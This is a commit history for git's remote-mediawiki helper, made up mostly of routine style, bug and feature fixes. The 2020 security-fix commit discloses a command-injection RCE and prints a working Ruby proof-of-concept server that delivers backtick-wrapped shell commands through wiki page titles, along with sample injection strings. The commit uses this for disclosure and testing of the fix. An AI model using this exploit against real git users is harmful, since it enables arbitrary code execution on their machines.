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2020-09-21remote-mediawiki: use "sh" to eliminate unquoted commandsÆvar Arnfjörð Bjarmason
Remove the use of run_git_unquoted() completely with a use of "sh -c" suggested by Jeff King, i.e.: sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id' I don't think this is needed now for any potential RCE issue. The $remotename argument is ultimately picked by the local user (and similarly, the $local variable comes from a user-supplied refspec). But completely eliminating the use of unquoted shell arguments has a value in and of itself, by making the code easier to review. As noted in an earlier commit I think the use of IPC::Open3 would be too verbose here, but this "sh -c" trick strikes the right balance between readability and semantic sanity. Suggested-by: Jeff King <peff@peff.net> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: annotate unquoted uses of run_git()Ævar Arnfjörð Bjarmason
Explicitly annotate the invocations of run_git() which don't use quoted arguments. I'm not converting these to run_git_quoted() because these invocations pipe stderr to /dev/null, which the Perl open() API doesn't support. We could do a quoted version of this with IPC::Open3, but I don't think it's worth it to go through that here. Let's instead just mark these sites, and comment on why it's OK to use the variables we're using. This eliminates the last uses of run_git(), so we can remove the alias for it introduced in an earlier commit. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: convert to quoted run_git() invocationÆvar Arnfjörð Bjarmason
Change those callsites that are able to call run_safe() with a quoted list of arguments to do so. This fixes a RCE bug in this transport helper reported by Joern Schneeweisz to the git-security mailing list. The issue is being made public due to the relative obscurity of the remote-mediawiki code. The security issue is that we'd execute a command like this via Perl's "open -|", where the $name is taken directly from the api.php response. So that a JSON response of e.g.: [...]"title":"`id>/tmp/mw`:Main Page"[..] Would result in an invocation of: git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace" >From code such as this, which is being changed by this patch: run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}")); So we'd execute an arbitrary command, and also put "remote.origin.namespaceCache=:notANameSpace" in the config. With this change we quote all of this, so now we'll simply write "remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the config, and not execute any remote commands. About the implementation: as noted in [1] (see also [2]) this style of invoking open() has compatibility issues on Windows up to Perl 5.22. However, Johannes Schindelin notes that we shouldn't worry about Windows in this context because (quoting a private E-Mail of his): 1. The mediawiki helper has never been shipped as part of an official Git for Windows version. Neither has it ever been part of an official MSYS2 package. Which means that Windows users who want to use the mediawiki helper have to build Git themselves, which not many users seem to do. 2. The last Git for Windows version to ship with Perl v5.22.x was Git for Windows v2.11.1; Since Git for Windows v2.12.0 (released on February 25th, 2017), only newer Perl versions were included. So let's just use this open() API. Grepping around shows that various other Perl code we ship such as gitweb etc. uses this way of calling open(), so we shouldn't have any issues with compatibility. For further reference and future testing, here's working exploit code provided by Joern: #!/usr/bin/ruby # git client side RCE via `mediawiki` remote proof of concept # Joern Schneeweisz - GitLab Security Research Team require 'sinatra' set bind: '0.0.0.0' if not ARGV[0] puts "Please provide the shell command to be execucted." exit -1 end cmd = ARGV[0] all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd) revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd) mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd) post '/api.php' do if params[:list] == 'allpages' return all_pages end if params[:prop] == 'revisions' return revs end return mainpage end Which: [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when being cloned with `git clone mediawiki::http://localhost:4567` the file `/tmp/mw` will be created during the clone process, containing the output of `id`. 1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command 2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: provide a list form of run_git()Ævar Arnfjörð Bjarmason
Invoking commands as "git $args" doesn't quote $args. Let's support ["git", $args] as well, and create corresponding run_git_quoted() and run_git_unquoted() aliases for subsequent changes when we move the code over to the new style of invoking this function. At that point we'll delete the then-unused run_git() wrapper. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: fix duplicate revisions being importedSimon Legner
Fix a bug with revisions being imported twice. This commit is being backported from Git-Mediawiki.git's e41ee9b ("All revisions imported twice", 2018-02-02) to git.git. See [1] for the original commit and [2] and [3] for the upstream PR and issue. 1. https://github.com/Git-Mediawiki/Git-Mediawiki/commit/e41ee9b3a32416df381cdc79f63350665c84151e 2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61 3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29 Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-16remote-mediawiki doc: correct link to GitHub projectÆvar Arnfjörð Bjarmason
Change the link to the canonical one, the old link redirects to the new one. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2019-11-10Fix spelling errors in no-longer-updated-from-upstream modulesElijah Newren
We have several modules originally taken from some upstream source, and which as far as I can tell we no longer update from the upstream anymore. As such, I have not submitted these spelling fixes to any external projects but just include them directly here. Reported-by: Jens Schleusener <Jens.Schleusener@fossies.org> Signed-off-by: Elijah Newren <newren@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08remote-mediawiki: show progress while fetching namespacesAntoine Beaupré
Without this, the fetch process seems hanged while we fetch page listings across the namespaces. Obviously, it should be possible to silence this with -q, but that's an issue already present everywhere in the code and should be fixed separately: https://github.com/Git-Mediawiki/Git-Mediawiki/issues/30 Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08remote-mediawiki: process namespaces in orderAntoine Beaupré
Ideally, we'd process them in numeric order since that is more logical, but we can't do that yet since this is where we find the numeric identifiers in the first place. Lexicographic order is a good compromise. Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08remote-mediawiki: support fetching from (Main) namespaceAntoine Beaupré
When we specify a list of namespaces to fetch from, by default the MW API will not fetch from the default namespace, refered to as "(Main)" in the documentation: https://www.mediawiki.org/wiki/Manual:Namespace#Built-in_namespaces I haven't found a way to address that "(Main)" namespace when getting the namespace ids: indeed, when listing namespaces, there is no "canonical" field for the main namespace, although there is a "*" field that is set to "" (empty). So in theory, we could specify the empty namespace to get the main namespace, but that would make specifying namespaces harder for the user: we would need to teach users about the "empty" default namespace. It would also make the code more complicated: we'd need to parse quotes in the configuration. So we simply override the query here and allow the user to specify "(Main)" since that is the publicly documented name. Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08remote-mediawiki: skip virtual namespacesAntoine Beaupré
Virtual namespaces do not correspond to pages in the database and are automatically generated by MediaWiki. It makes little sense, therefore, to fetch pages from those namespaces and the MW API doesn't support listing those pages. According to the documentation, those virtual namespaces are currently "Special" (-1) and "Media" (-2) but we treat all negative namespaces as "virtual" as a future-proofing mechanism. Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-08remote-mediawiki: show known namespace choices on failureAntoine Beaupré
If we fail to find a requested namespace, we should tell the user which ones we know about, since those were already fetched. This allows users to fetch all namespaces by specifying a dummy namespace, failing, then copying the list of namespaces in the config. Eventually, we should have a flag that allows fetching all namespaces automatically. Reviewed-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-07remote-mediawiki: allow fetching namespaces with spacesIngo Ruhnke
we still want to use spaces as separators in the config, but we should allow the user to specify namespaces with spaces, so we use underscore for this. Reviewed-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-11-07remote-mediawiki: add namespace supportKevin
This introduces a new remote.origin.namespaces argument that is a space-separated list of namespaces. The list of pages extract is then taken from all the specified namespaces. Reviewed-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Antoine Beaupré <anarcat@debian.org> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2017-06-27Spelling fixesVille Skyttä
Signed-off-by: Ville Skyttä <ville.skytta@iki.fi> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2016-08-11Spelling fixesVille Skyttä
<BAD> <CORRECTED> accidently accidentally commited committed dependancy dependency emtpy empty existance existence explicitely explicitly git-upload-achive git-upload-archive hierachy hierarchy indegee indegree intial initial mulitple multiple non-existant non-existent precendence. precedence. priviledged privileged programatically programmatically psuedo-binary pseudo-binary soemwhere somewhere successfull successful transfering transferring uncommited uncommitted unkown unknown usefull useful writting writing Signed-off-by: Ville Skyttä <ville.skytta@iki.fi> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2014-04-23git-remote-mediawiki: fix encoding issue for UTF-8 media filesMatthieu Moy
When a media file contains valid UTF-8, git-remote-mediawiki tried to be too clever about the encoding, and the call to utf8::downgrade() on the downloaded content was failing with Wide character in subroutine entry at git-remote-mediawiki line 583. Instead, use $response->decode() to apply decoding linked to the Content-Encoding: header, and return the content without attempting any charset decoding. Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-11-12contrib: typofixesMasanari Iida
Signed-off-by: Masanari Iida <standby24x7@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-09-25Merge branch 'maint'Jonathan Nieder
* maint: git-remote-mediawiki: bugfix for pages w/ >500 revisions
2013-09-24git-remote-mediawiki: bugfix for pages w/ >500 revisionsBenoit Person
Mediawiki introduces a new API for queries w/ more than 500 results in version 1.21. That change triggered an infinite loop while cloning a mediawiki with such a page. The latest API renamed and moved the "continuing" information in the response, necessary to build the next query. The code failed to retrieve that information but still detected that it was in a "continuing query". As a result, it launched the same query over and over again. If a "continuing" information is detected in the response (old or new), the next query is updated accordingly. If not, we quit assuming it's not a continuing query. Reported-by: Benjamin Cathey Signed-off-by: Benoit Person <benoit.person@gmail.com> Signed-off-by: Jonathan Nieder <jrnieder@gmail.com>
2013-09-03git-remote-mediawiki: no need to update private ref in non-dumb pushMatthieu Moy
We used to update the private ref ourselves, but this update is now done by default since 664059fb (transport-helper: update remote helper namespace, 2013-04-17). Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-09-03git-remote-mediawiki: use no-private-update capability on dumb pushMatthieu Moy
Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-07-18Merge branch 'bp/mediawiki-preview'Junio C Hamano
Add a command to allow previewing the contents locally before pushing it out, when working with a MediaWiki remote. I personally do not think this belongs to Git. If you are working on a set of AsciiDoc source files, you sure do want to locally format to preview what you will be pushing out, and if you are working on a set of C or Java source files, you do want to test it before pushing it out, too. That kind of thing belongs to your build script, not to your SCM. But I'll let it pass, as this is only a contrib/ thing. * bp/mediawiki-preview: git-remote-mediawiki: add preview subcommand into git mw git-remote-mediawiki: add git-mw command git-remote-mediawiki: factoring code between git-remote-mediawiki and Git::Mediawiki git-remote-mediawiki: update tests to run with the new bin-wrapper git-remote-mediawiki: add a git bin-wrapper for developement wrap-for-bin: make bin-wrappers chainable git-remote-mediawiki: introduction of Git::Mediawiki.pm
2013-07-08git-remote-mediawiki: factoring code between git-remote-mediawiki and ↵Benoit Person
Git::Mediawiki For now, Git::Mediawiki contains nothing. This first patch moves some of git-remote-mediawiki.perl's factorisable code into Git::Mediawiki. In the same time, it removes the side effects of that code and renames the fucntions and constants moved to expose a better API. Signed-off-by: Benoit Person <benoit.person@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-07-03git-remote-mediawiki: un-brace file handles in binmode callsMatthieu Moy
Commit e83d36b66fc turned "print STDOUT" into "print {*STDOUT}", as suggested by perlcritic. Unfortunately, it also changed two "binmode STDOUT" calls the same way, which does not work and yield a "Not a GLOB reference" error. Signed-off-by: Matthieu Moy <Matthieu.Moy@imag.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-23Merge branch 'cm/remote-mediawiki-perlcritique'Junio C Hamano
* cm/remote-mediawiki-perlcritique: (31 commits) git-remote-mediawiki: make error message more precise git-remote-mediawiki: add a perlcritic rule in Makefile git-remote-mediawiki: add a .perlcriticrc file git-remote-mediawiki: clearly rewrite double dereference git-remote-mediawiki: fix a typo ("mediwiki" instead of "mediawiki") git-remote-mediawiki: put non-trivial numeric values in constants. git-remote-mediawiki: don't use quotes for empty strings git-remote-mediawiki: replace "unless" statements with negated "if" statements git-remote-mediawiki: brace file handles for print for more clarity git-remote-mediawiki: modify strings for a better coding-style git-remote-mediawiki: put long code into a subroutine git-remote-mediawiki: remove import of unused open2 git-remote-mediawiki: check return value of open git-remote-mediawiki: assign a variable as undef and make proper indentation git-remote-mediawiki: rename a variable ($last) which has the name of a keyword git-remote-mediawiki: remove unused variable $entry git-remote-mediawiki: turn double-negated expressions into simple expressions git-remote-mediawiki: change the name of a variable git-remote-mediawiki: add newline in the end of die() error messages git-remote-mediawiki: change style in a regexp ...
2013-06-20Merge branch 'cm/remote-mediawiki'Junio C Hamano
* cm/remote-mediawiki: git-remote-mediawiki: display message when launched directly
2013-06-14git-remote-mediawiki: make error message more preciseCélestin Matte
In subroutine parse_command, error messages were not correct. For the "import" function, having too much or incorrect arguments displayed both "invalid arguments", while it displayed "too many arguments" for the "option" functions under the same conditions. Separate the two error messages in both cases. Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: clearly rewrite double dereferenceCélestin Matte
@$var structures are re-written in the following way: @{$var} It makes them more readable. Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: fix a typo ("mediwiki" instead of "mediawiki")Célestin Matte
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: put non-trivial numeric values in constants.Célestin Matte
Non-trivial numeric values (e.g., different from 0, 1 and 2) are placed in constants at the top of the code to be easily modifiable and to make more sense Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: don't use quotes for empty stringsCélestin Matte
Empty strings are replaced by an $EMPTY constant. Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: replace "unless" statements with negated "if" statementsCélestin Matte
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: brace file handles for print for more clarityCélestin Matte
This follows the following rule: InputOutput::RequireBracedFileHandleWithPrint (Severity: 1) The `print' and `printf' functions have a unique syntax that supports an optional file handle argument. Conway suggests wrapping this argument in braces to make it visually stand out from the other arguments. When you put braces around any of the special package-level file handles like `STDOUT', `STDERR', and `DATA', you must the `'*'' sigil or else it won't compile under `use strict 'subs''. print $FH "Mary had a little lamb\n"; #not ok print {$FH} "Mary had a little lamb\n"; #ok print STDERR $foo, $bar, $baz; #not ok print {STDERR} $foo, $bar, $baz; #won't compile under 'strict' print {*STDERR} $foo, $bar, $baz; #perfect! Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: modify strings for a better coding-styleCélestin Matte
- strings which don't need interpolation are single-quoted for more clarity and slight gain of performance - interpolation is preferred over concatenation in many cases, for more clarity - variables are always used with the ${} operator inside strings - strings including double-quotes are written with qq() so that the quotes do not have to be escaped Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: put long code into a subroutineCélestin Matte
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: remove import of unused open2Célestin Matte
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: check return value of openCélestin Matte
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: assign a variable as undef and make proper indentationCélestin Matte
Explicitly assign local variable $/ as undef and make a proper one-instruction-by-line indentation Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: rename a variable ($last) which has the name of a keywordCélestin Matte
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: remove unused variable $entryCélestin Matte
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: turn double-negated expressions into simple expressionsCélestin Matte
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: change the name of a variableCélestin Matte
Local variable $url has the same name as a global variable. Changing the name of the local variable prevents future possible misunderstanding. Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: add newline in the end of die() error messagesCélestin Matte
Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: change style in a regexpCélestin Matte
Change '[\n]' to '\n': brackets are useless here. Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: change style in a regexpCélestin Matte
In this regexp, ' |\n' is used, whereas its equivalent '[ \n]', which is clearer, is used elsewhere. Make the style coherent. Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: change separator of some regexpsCélestin Matte
Use {}{} instead of /// when slashes are used inside the regexp so as not to escape it. Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: change the behaviour of a splitCélestin Matte
A "split ' '" is turned into a "split / /", which changes its behaviour: the old method matched a run of whitespaces (/\s*/), while the new one will match a single space, which is what we want here. Indeed, in other contexts, changing split(' ') to split(/ /) could potentially be a regression, however, here, when parsing the output of "rev-list --parents", whose output SHA-1's are each separated by a single space, splitting on a single space is perfectly correct. Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: remove useless regexp modifier (m)Célestin Matte
m// and // is used randomly. It is better to use the m modifier only when needed, e.g., when the regexp uses another separator than //. Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2013-06-14git-remote-mediawiki: rewrite unclear line of instructionsCélestin Matte
Subroutines' parameters should be assigned to variable before doing anything else Besides, existing instruction affected a variable inside a "if", which break Git's coding style Signed-off-by: Célestin Matte <celestin.matte@ensimag.fr> Signed-off-by: Matthieu Moy <matthieu.moy@grenoble-inp.fr> Signed-off-by: Junio C Hamano <gitster@pobox.com>